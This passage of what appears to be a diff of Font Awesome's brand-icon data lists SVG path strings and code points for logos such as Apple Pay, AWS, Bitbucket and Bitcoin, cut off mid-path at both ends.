50-84.8-18.8-26.9-47.2-41.7-84.7-44.6-35.5-2.8-74.3 20.7-88.5 20.7-15 0-49.4-19.7-76.4-19.7C63.3 141.2 4 184.8 4 273.5q0 39.3 14.4 81.2c12.8 36.7 59 126.7 107.2 125.2 25.2-.6 43-17.9 75.8-17.9 31.8 0 48.3 17.9 76.4 17.9 48.6-.7 90.4-82.5 102.6-119.3-65.2-30.7-61.7-90-61.7-91.9zm-56.6-164.2c27.3-32.4 24.8-61.9 24-72.5-24.1 1.4-52 16.4-67.9 34.9-17.5 19.8-27.8 44.3-25.6 71.9 26.1 2 49.9-11.4 69.5-34.3z"], + "apple-pay": [640, 512, [], "f415", "M116.9 158.5c-7.5 8.9-19.5 15.9-31.5 14.9-1.5-12 4.4-24.8 11.3-32.6 7.5-9.1 20.6-15.6 31.3-16.1 1.2 12.4-3.7 24.7-11.1 33.8m10.9 17.2c-17.4-1-32.3 9.9-40.5 9.9-8.4 0-21-9.4-34.8-9.1-17.9.3-34.5 10.4-43.6 26.5-18.8 32.3-4.9 80 13.3 106.3 8.9 13 19.5 27.3 33.5 26.8 13.3-.5 18.5-8.6 34.5-8.6 16.1 0 20.8 8.6 34.8 8.4 14.5-.3 23.6-13 32.5-26 10.1-14.8 14.3-29.1 14.5-29.9-.3-.3-28-10.9-28.3-42.9-.3-26.8 21.9-39.5 22.9-40.3-12.5-18.6-32-20.6-38.8-21.1m100.4-36.2v194.9h30.3v-66.6h41.9c38.3 0 65.1-26.3 65.1-64.3s-26.4-64-64.1-64h-73.2zm30.3 25.5h34.9c26.3 0 41.3 14 41.3 38.6s-15 38.8-41.4 38.8h-34.8V165zm162.2 170.9c19 0 36.6-9.6 44.6-24.9h.6v23.4h28v-97c0-28.1-22.5-46.3-57.1-46.3-32.1 0-55.9 18.4-56.8 43.6h27.3c2.3-12 13.4-19.9 28.6-19.9 18.5 0 28.9 8.6 28.9 24.5v10.8l-37.8 2.3c-35.1 2.1-54.1 16.5-54.1 41.5.1 25.2 19.7 42 47.8 42zm8.2-23.1c-16.1 0-26.4-7.8-26.4-19.6 0-12.3 9.9-19.4 28.8-20.5l33.6-2.1v11c0 18.2-15.5 31.2-36 31.2zm102.5 74.6c29.5 0 43.4-11.3 55.5-45.4L640 193h-30.8l-35.6 115.1h-.6L537.4 193h-31.6L557 334.9l-2.8 8.6c-4.6 14.6-12.1 20.3-25.5 20.3-2.4 0-7-.3-8.9-.5v23.4c1.8.4 9.3.7 11.6.7z"], + "artstation": [512, 512, [], "f77a", "M2 377.4l43 74.3A51.35 51.35 0 0 0 90.9 480h285.4l-59.2-102.6zM501.8 350L335.6 59.3A51.38 51.38 0 0 0 290.2 32h-88.4l257.3 447.6 40.7-70.5c1.9-3.2 21-29.7 2-59.1zM275 304.5l-115.5-200L44 304.5z"], + "asymmetrik": [576, 512, [], "f372", "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"], + "atlassian": [512, 512, [], "f77b", "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"], + "audible": [640, 512, [], "f373", "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"], + "autoprefixer": [640, 512, [], "f41c", "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"], + "avianex": [512, 512, [], "f374", "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"], + "aviato": [640, 512, [], "f421", "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"], + "aws": [640, 512, [], "f375", "M180.41 203.01c-.72 22.65 10.6 32.68 10.88 39.05a8.164 8.164 0 0 1-4.1 6.27l-12.8 8.96a10.66 10.66 0 0 1-5.63 1.92c-.43-.02-8.19 1.83-20.48-25.61a78.608 78.608 0 0 1-62.61 29.45c-16.28.89-60.4-9.24-58.13-56.21-1.59-38.28 34.06-62.06 70.93-60.05 7.1.02 21.6.37 46.99 6.27v-15.62c2.69-26.46-14.7-46.99-44.81-43.91-2.4.01-19.4-.5-45.84 10.11-7.36 3.38-8.3 2.82-10.75 2.82-7.41 0-4.36-21.48-2.94-24.2 5.21-6.4 35.86-18.35 65.94-18.18a76.857 76.857 0 0 1 55.69 17.28 70.285 70.285 0 0 1 17.67 52.36l-.01 69.29zM93.99 235.4c32.43-.47 46.16-19.97 49.29-30.47 2.46-10.05 2.05-16.41 2.05-27.4-9.67-2.32-23.59-4.85-39.56-4.87-15.15-1.14-42.82 5.63-41.74 32.26-1.24 16.79 11.12 31.4 29.96 30.48zm170.92 23.05c-7.86.72-11.52-4.86-12.68-10.37l-49.8-164.65c-.97-2.78-1.61-5.65-1.92-8.58a4.61 4.61 0 0 1 3.86-5.25c.24-.04-2.13 0 22.25 0 8.78-.88 11.64 6.03 12.55 10.37l35.72 140.83 33.16-140.83c.53-3.22 2.94-11.07 12.8-10.24h17.16c2.17-.18 11.11-.5 12.68 10.37l33.42 142.63L420.98 80.1c.48-2.18 2.72-11.37 12.68-10.37h19.72c.85-.13 6.15-.81 5.25 8.58-.43 1.85 3.41-10.66-52.75 169.9-1.15 5.51-4.82 11.09-12.68 10.37h-18.69c-10.94 1.15-12.51-9.66-12.68-10.75L328.67 110.7l-32.78 136.99c-.16 1.09-1.73 11.9-12.68 10.75h-18.3zm273.48 5.63c-5.88.01-33.92-.3-57.36-12.29a12.802 12.802 0 0 1-7.81-11.91v-10.75c0-8.45 6.2-6.9 8.83-5.89 10.04 4.06 16.48 7.14 28.81 9.6 36.65 7.53 52.77-2.3 56.72-4.48 13.15-7.81 14.19-25.68 5.25-34.95-10.48-8.79-15.48-9.12-53.13-21-4.64-1.29-43.7-13.61-43.79-52.36-.61-28.24 25.05-56.18 69.52-55.95 12.67-.01 46.43 4.13 55.57 15.62 1.35 2.09 2.02 4.55 1.92 7.04v10.11c0 4.44-1.62 6.66-4.87 6.66-7.71-.86-21.39-11.17-49.16-10.75-6.89-.36-39.89.91-38.41 24.97-.43 18.96 26.61 26.07 29.7 26.89 36.46 10.97 48.65 12.79 63.12 29.58 17.14 22.25 7.9 48.3 4.35 55.44-19.08 37.49-68.42 34.44-69.26 34.42zm40.2 104.86c-70.03 51.72-171.69 79.25-258.49 79.25A469.127 469.127 0 0 1 2.83 327.46c-6.53-5.89-.77-13.96 7.17-9.47a637.37 637.37 0 0 0 316.88 84.12 630.22 630.22 0 0 0 241.59-49.55c11.78-5 21.77 7.8 10.12 16.38zm29.19-33.29c-8.96-11.52-59.28-5.38-81.81-2.69-6.79.77-7.94-5.12-1.79-9.47 40.07-28.17 105.88-20.1 113.44-10.63 7.55 9.47-2.05 75.41-39.56 106.91-5.76 4.87-11.27 2.3-8.71-4.1 8.44-21.25 27.39-68.49 18.43-80.02z"], + "bandcamp": [512, 512, [], "f2d5", "M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm48.2,326.1h-181L207.9,178h181Z"], + "battle-net": [512, 512, [], "f835", "M448.61 225.62c26.87.18 35.57-7.43 38.92-12.37 12.47-16.32-7.06-47.6-52.85-71.33 17.76-33.58 30.11-63.68 36.34-85.3 3.38-11.83 1.09-19 .45-20.25-1.72 10.52-15.85 48.46-48.2 100.05-25-11.22-56.52-20.1-93.77-23.8-8.94-16.94-34.88-63.86-60.48-88.93C252.18 7.14 238.7 1.07 228.18.22h-.05c-13.83-1.55-22.67 5.85-27.4 11-17.2 18.53-24.33 48.87-25 84.07-7.24-12.35-17.17-24.63-28.5-25.93h-.18c-20.66-3.48-38.39 29.22-36 81.29-38.36 1.38-71 5.75-93 11.23-9.9 2.45-16.22 7.27-17.76 9.72 1-.38 22.4-9.22 111.56-9.22 5.22 53 29.75 101.82 26 93.19-9.73 15.4-38.24 62.36-47.31 97.7-5.87 22.88-4.37 37.61.15 47.14 5.57 12.75 16.41 16.72 23.2 18.26 25 5.71 55.38-3.63 86.7-21.14-7.53 12.84-13.9 28.51-9.06 39.34 7.31 19.65 44.49 18.66 88.44-9.45 20.18 32.18 40.07 57.94 55.7 74.12a39.79 39.79 0 0 0 8.75 7.09c5.14 3.21 8.58 3.37 8.58 3.37-8.24-6.75-34-38-62.54-91.78 22.22-16 45.65-38.87 67.47-69.27 122.82 4.6 143.29-24.76 148-31.64 14.67-19.88 3.43-57.44-57.32-93.69zm-77.85 106.22c23.81-37.71 30.34-67.77 29.45-92.33 27.86 17.57 47.18 37.58 49.06 58.83 1.14 12.93-8.1 29.12-78.51 33.5zM216.9 387.69c9.76-6.23 19.53-13.12 29.2-20.49 6.68 13.33 13.6 26.1 20.6 38.19-40.6 21.86-68.84 12.76-49.8-17.7zm215-171.35c-10.29-5.34-21.16-10.34-32.38-15.05a722.459 722.459 0 0 0 22.74-36.9c39.06 24.1 45.9 53.18 9.64 51.95zM279.18 398c-5.51-11.35-11-23.5-16.5-36.44 43.25 1.27 62.42-18.73 63.28-20.41 0 .07-25 15.64-62.53 12.25a718.78 718.78 0 0 0 85.06-84q13.06-15.31 24.93-31.11c-.36-.29-1.54-3-16.51-12-51.7 60.27-102.34 98-132.75 115.92-20.59-11.18-40.84-31.78-55.71-61.49-20-39.92-30-82.39-31.57-116.07 12.3.91 25.27 2.17 38.85 3.88-22.29 36.8-14.39 63-13.47 64.23 0-.07-.95-29.17 20.14-59.57a695.23 695.23 0 0 0 44.67 152.84c.93-.38 1.84.88 18.67-8.25-26.33-74.47-33.76-138.17-34-173.43 20-12.42 48.18-19.8 81.63-17.81 44.57 2.67 86.36 15.25 116.32 30.71q-10.69 15.66-23.33 32.47C365.63 152 339.1 145.84 337.5 146c.11 0 25.9 14.07 41.52 47.22a717.63 717.63 0 0 0-115.34-31.71 646.608 646.608 0 0 0-39.39-6.05c-.07.45-1.81 1.85-2.16 20.33C300 190.28 358.78 215.68 389.36 233c.74 23.55-6.95 51.61-25.41 79.57-24.6 37.31-56.39 67.23-84.77 85.43zm27.4-287c-44.56-1.66-73.58 7.43-94.69 20.67 2-52.3 21.31-76.38 38.21-75.28C267 52.15 305 108.55 306.58 111zm-130.65 3.1c.48 12.11 1.59 24.62 3.21 37.28-14.55-.85-28.74-1.25-42.4-1.26-.08 3.24-.12-51 24.67-49.59h.09c5.76 1.09 10.63 6.88 14.43 13.57zm-28.06 162c20.76 39.7 43.3 60.57 65.25 72.31-46.79 24.76-77.53 20-84.92 4.51-.2-.21-11.13-15.3 19.67-76.81zm210.06 74.8"], + "behance": [576, 512, [], "f1b4", "M232 237.2c31.8-15.2 48.4-38.2 48.4-74 0-70.6-52.6-87.8-113.3-87.8H0v354.4h171.8c64.4 0 124.9-30.9 124.9-102.9 0-44.5-21.1-77.4-64.7-89.7zM77.9 135.9H151c28.1 0 53.4 7.9 53.4 40.5 0 30.1-19.7 42.2-47.5 42.2h-79v-82.7zm83.3 233.7H77.9V272h84.9c34.3 0 56 14.3 56 50.6 0 35.8-25.9 47-57.6 47zm358.5-240.7H376V94h143.7v34.9zM576 305.2c0-75.9-44.4-139.2-124.9-139.2-78.2 0-131.3 58.8-131.3 135.8 0 79.9 50.3 134.7 131.3 134.7 61.3 0 101-27.6 120.1-86.3H509c-6.7 21.9-34.3 33.5-55.7 33.5-41.3 0-63-24.2-63-65.3h185.1c.3-4.2.6-8.7.6-13.2zM390.4 274c2.3-33.7 24.7-54.8 58.5-54.8 35.4 0 53.2 20.8 56.2 54.8H390.4z"], + "behance-square": [448, 512, [], "f1b5", "M186.5 293c0 19.3-14 25.4-31.2 25.4h-45.1v-52.9h46c18.6.1 30.3 7.8 30.3 27.5zm-7.7-82.3c0-17.7-13.7-21.9-28.9-21.9h-39.6v44.8H153c15.1 0 25.8-6.6 25.8-22.9zm132.3 23.2c-18.3 0-30.5 11.4-31.7 29.7h62.2c-1.7-18.5-11.3-29.7-30.5-29.7zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM271.7 185h77.8v-18.9h-77.8V185zm-43 110.3c0-24.1-11.4-44.9-35-51.6 17.2-8.2 26.2-17.7 26.2-37 0-38.2-28.5-47.5-61.4-47.5H68v192h93.1c34.9-.2 67.6-16.9 67.6-55.9zM380 280.5c0-41.1-24.1-75.4-67.6-75.4-42.4 0-71.1 31.8-71.1 73.6 0 43.3 27.3 73 71.1 73 33.2 0 54.7-14.9 65.1-46.8h-33.7c-3.7 11.9-18.6 18.1-30.2 18.1-22.4 0-34.1-13.1-34.1-35.3h100.2c.1-2.3.3-4.8.3-7.2z"], + "bimobject": [448, 512, [], "f378", "M416 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h384c17.6 0 32-14.4 32-32V64c0-17.6-14.4-32-32-32zm-64 257.4c0 49.4-11.4 82.6-103.8 82.6h-16.9c-44.1 0-62.4-14.9-70.4-38.8h-.9V368H96V136h64v74.7h1.1c4.6-30.5 39.7-38.8 69.7-38.8h17.3c92.4 0 103.8 33.1 103.8 82.5v35zm-64-28.9v22.9c0 21.7-3.4 33.8-38.4 33.8h-45.3c-28.9 0-44.1-6.5-44.1-35.7v-19c0-29.3 15.2-35.7 44.1-35.7h45.3c35-.2 38.4 12 38.4 33.7z"], + "bitbucket": [512, 512, [], "f171", "M22.2 32A16 16 0 0 0 6 47.8a26.35 26.35 0 0 0 .2 2.8l67.9 412.1a21.77 21.77 0 0 0 21.3 18.2h325.7a16 16 0 0 0 16-13.4L505 50.7a16 16 0 0 0-13.2-18.3 24.58 24.58 0 0 0-2.8-.2L22.2 32zm285.9 297.8h-104l-28.1-147h157.3l-25.2 147z"], + "bitcoin": [512, 512, [], "f379", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-141.651-35.33c4.937-32.999-20.191-50.739-54.55-62.573l11.146-44.702-27.213-6.781-10.851 43.524c-7.154-1.783-14.502-3.464-21.803-5.13l10.929-43.81-27.198-6.781-11.153 44.686c-5.922-1.349-11.735-2.682-17.377-4.084l.031-.14-37.53-9.37-7.239 29.062s20.191 4.627 19.765 4.913c11.022 2.751 13.014 10.044 12.68 15.825l-12.696 50.925c.76.194 1.744.473 2.829.907-.907-.225-1.876-.473-2.876-.713l-17.796 71.338c-1.349 3.348-4.767 8.37-12.471 6.464.271.395-19.78-4.937-19.78-4.937l-13.51 31.147 35.414 8.827c6.588 1.651 13.045 3.379 19.4 5.006l-11.262 45.213 27.182 6.781 11.153-44.733a1038.209 1038.209 0 0 0 21.687 5.627l-11.115 44.523 27.213 6.781 11.262-45.128c46.404 8.781 81.299 5.239 95.986-36.727 11.836-33.79-.589-53.281-25.004-65.991 17.78-4.098 31.174-15.792 34.747-39.949zm-62.177 87.179c-8.41 33.79-65.308 15.523-83.755 10.943l14.944-59.899c18.446 4.603 77.6 13.717 68.811 48.956zm8.417-87.667c-7.673 30.736-55.031 15.12-70.393 11.292l13.548-54.327c15.363 3.828 64.836 10.973 56.845 43.035z"], + "bity": [496, 512, [], "f37a", "M78.4 67.2C173.8-22 324.5-24 421.5 71c14.3 14.1-6.4 37.1-22.4 21.5-84.8-82.4-215.8-80.3-298.9-3.2-16.3 15.1-36.5-8.3-21.8-22.1zm98.9 418.6c19.3 5.7 29.3-23.6 7.9-30C73 421.9 9.4 306.1 37.7 194.8c5-19.6-24.9-28.1-30.2-7.1-32.1 127.4 41.1 259.8 169.8 298.1zm148.1-2c121.9-40.2 192.9-166.9 164.4-291-4.5-19.7-34.9-13.8-30 7.9 24.2 107.7-37.1 217.9-143.2 253.4-21.2 7-10.4 36 8.8 29.7zm-62.9-79l.2-71.8c0-8.2-6.6-14.8-14.8-14.8-8.2 0-14.8 6.7-14.8 14.8l-.2 71.8c0 8.2 6.6 14.8 14.8 14.8s14.8-6.6 14.8-14.8zm71-269c2.1 90.9 4.7 131.9-85.5 132.5-92.5-.7-86.9-44.3-85.5-132.5 0-21.8-32.5-19.6-32.5 0v71.6c0 69.3 60.7 90.9 118 90.1 57.3.8 118-20.8 118-90.1v-71.6c0-19.6-32.5-21.8-32.5 0z"], + "black-tie": [448, 512, [], "f27e", "M0 32v448h448V32H0zm316.5 325.2L224 445.9l-92.5-88.7 64.5-184-64.5-86.6h184.9L252 173.2l64.5 184z"], + "blackberry": [512, 512, [], "f37b", "M166 116.9c0 23.4-16.4 49.1-72.5 49.1H23.4l21-88.8h67.8c42.1 0 53.8 23.3 53.8 39.7zm126.2-39.7h-67.8L205.7 166h70.1c53.8 0 70.1-25.7 70.1-49.1.1-16.4-11.6-39.7-53.7-39.7zM88.8 208.1H21L0 296.9h70.1c56.1 0 72.5-23.4 72.5-49.1 0-16.3-11.7-39.7-53.8-39.7zm180.1 0h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1 0-16.3-11.7-39.7-53.7-39.7zm189.3-53.8h-67.8l-18.7 88.8h70.1c53.8 0 70.1-23.4 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7zm-28 137.9h-67.8L343.7 381h70.1c56.1 0 70.1-23.4 70.1-49.1 0-16.3-11.6-39.7-53.7-39.7zM240.8 346H173l-18.7 88.8h70.1c56.1 0 70.1-25.7 70.1-49.1.1-16.3-11.6-39.7-53.7-39.7z"], + "blogger": [448, 512, [], "f37c", "M162.4 196c4.8-4.9 6.2-5.1 36.4-5.1 27.2 0 28.1.1 32.1 2.1 5.8 2.9 8.3 7 8.3 13.6 0 5.9-2.4 10-7.6 13.4-2.8 1.8-4.5 1.9-31.1 2.1-16.4.1-29.5-.2-31.5-.8-10.3-2.9-14.1-17.7-6.6-25.3zm61.4 94.5c-53.9 0-55.8.2-60.2 4.1-3.5 3.1-5.7 9.4-5.1 13.9.7 4.7 4.8 10.1 9.2 12 2.2 1 14.1 1.7 56.3 1.2l47.9-.6 9.2-1.5c9-5.1 10.5-17.4 3.1-24.4-5.3-4.7-5-4.7-60.4-4.7zm223.4 130.1c-3.5 28.4-23 50.4-51.1 57.5-7.2 1.8-9.7 1.9-172.9 1.8-157.8 0-165.9-.1-172-1.8-8.4-2.2-15.6-5.5-22.3-10-5.6-3.8-13.9-11.8-17-16.4-3.8-5.6-8.2-15.3-10-22C.1 423 0 420.3 0 256.3 0 93.2 0 89.7 1.8 82.6 8.1 57.9 27.7 39 53 33.4c7.3-1.6 332.1-1.9 340-.3 21.2 4.3 37.9 17.1 47.6 36.4 7.7 15.3 7-1.5 7.3 180.6.2 115.8 0 164.5-.7 170.5zm-85.4-185.2c-1.1-5-4.2-9.6-7.7-11.5-1.1-.6-8-1.3-15.5-1.7-12.4-.6-13.8-.8-17.8-3.1-6.2-3.6-7.9-7.6-8-18.3 0-20.4-8.5-39.4-25.3-56.5-12-12.2-25.3-20.5-40.6-25.1-3.6-1.1-11.8-1.5-39.2-1.8-42.9-.5-52.5.4-67.1 6.2-27 10.7-46.3 33.4-53.4 62.4-1.3 5.4-1.6 14.2-1.9 64.3-.4 62.8 0 72.1 4 84.5 9.7 30.7 37.1 53.4 64.6 58.4 9.2 1.7 122.2 2.1 133.7.5 20.1-2.7 35.9-10.8 50.7-25.9 10.7-10.9 17.4-22.8 21.8-38.5 3.2-10.9 2.9-88.4 1.7-93.9z"], + "blogger-b": [448, 512, [], "f37d", "M446.6 222.7c-1.8-8-6.8-15.4-12.5-18.5-1.8-1-13-2.2-25-2.7-20.1-.9-22.3-1.3-28.7-5-10.1-5.9-12.8-12.3-12.9-29.5-.1-33-13.8-63.7-40.9-91.3-19.3-19.7-40.9-33-65.5-40.5-5.9-1.8-19.1-2.4-63.3-2.9-69.4-.8-84.8.6-108.4 10C45.9 59.5 14.7 96.1 3.3 142.9 1.2 151.7.7 165.8.2 246.8c-.6 101.5.1 116.4 6.4 136.5 15.6 49.6 59.9 86.3 104.4 94.3 14.8 2.7 197.3 3.3 216 .8 32.5-4.4 58-17.5 81.9-41.9 17.3-17.7 28.1-36.8 35.2-62.1 4.9-17.6 4.5-142.8 2.5-151.7zm-322.1-63.6c7.8-7.9 10-8.2 58.8-8.2 43.9 0 45.4.1 51.8 3.4 9.3 4.7 13.4 11.3 13.4 21.9 0 9.5-3.8 16.2-12.3 21.6-4.6 2.9-7.3 3.1-50.3 3.3-26.5.2-47.7-.4-50.8-1.2-16.6-4.7-22.8-28.5-10.6-40.8zm191.8 199.8l-14.9 2.4-77.5.9c-68.1.8-87.3-.4-90.9-2-7.1-3.1-13.8-11.7-14.9-19.4-1.1-7.3 2.6-17.3 8.2-22.4 7.1-6.4 10.2-6.6 97.3-6.7 89.6-.1 89.1-.1 97.6 7.8 12.1 11.3 9.5 31.2-4.9 39.4z"], + "bluetooth": [448, 512, [], "f293", "M292.6 171.1L249.7 214l-.3-86 43.2 43.1m-43.2 219.8l43.1-43.1-42.9-42.9-.2 86zM416 259.4C416 465 344.1 512 230.9 512S32 465 32 259.4 115.4 0 228.6 0 416 53.9 416 259.4zm-158.5 0l79.4-88.6L211.8 36.5v176.9L138 139.6l-27 26.9 92.7 93-92.7 93 26.9 26.9 73.8-73.8 2.3 170 127.4-127.5-83.9-88.7z"], + "bluetooth-b": [320, 512, [], "f294", "M196.48 260.023l92.626-103.333L143.125 0v206.33l-86.111-86.111-31.406 31.405 108.061 108.399L25.608 368.422l31.406 31.405 86.111-86.111L145.84 512l148.552-148.644-97.912-103.333zm40.86-102.996l-49.977 49.978-.338-100.295 50.315 50.317zM187.363 313.04l49.977 49.978-50.315 50.316.338-100.294z"], + "bootstrap": [576, 512, [], "f836", "M333.5,201.4c0-22.1-15.6-34.3-43-34.3h-50.4v71.2h42.5C315.4,238.2,333.5,225,333.5,201.4z M517,188.6 c-9.5-30.9-10.9-68.8-9.8-98.1c1.1-30.5-22.7-58.5-54.7-58.5H123.7c-32.1,0-55.8,28.1-54.7,58.5c1,29.3-0.3,67.2-9.8,98.1 c-9.6,31-25.7,50.6-52.2,53.1v28.5c26.4,2.5,42.6,22.1,52.2,53.1c9.5,30.9,10.9,68.8,9.8,98.1c-1.1,30.5,22.7,58.5,54.7,58.5h328.7 c32.1,0,55.8-28.1,54.7-58.5c-1-29.3,0.3-67.2,9.8-98.1c9.6-31,25.7-50.6,52.1-53.1v-28.5C542.7,239.2,526.5,219.6,517,188.6z M300.2,375.1h-97.9V136.8h97.4c43.3,0,71.7,23.4,71.7,59.4c0,25.3-19.1,47.9-43.5,51.8v1.3c33.2,3.6,55.5,26.6,55.5,58.3 C383.4,349.7,352.1,375.1,300.2,375.1z M290.2,266.4h-50.1v78.4h52.3c34.2,0,52.3-13.7,52.3-39.5 C344.7,279.6,326.1,266.4,290.2,266.4z"], + "btc": [384, 512, [], "f15a", "M310.204 242.638c27.73-14.18 45.377-39.39 41.28-81.3-5.358-57.351-52.458-76.573-114.85-81.929V0h-48.528v77.203c-12.605 0-25.525.315-38.444.63V0h-48.528v79.409c-17.842.539-38.622.276-97.37 0v51.678c38.314-.678 58.417-3.14 63.023 21.427v217.429c-2.925 19.492-18.524 16.685-53.255 16.071L3.765 443.68c88.481 0 97.37.315 97.37.315V512h48.528v-67.06c13.234.315 26.154.315 38.444.315V512h48.528v-68.005c81.299-4.412 135.647-24.894 142.895-101.467 5.671-61.446-23.32-88.862-69.326-99.89zM150.608 134.553c27.415 0 113.126-8.507 113.126 48.528 0 54.515-85.71 48.212-113.126 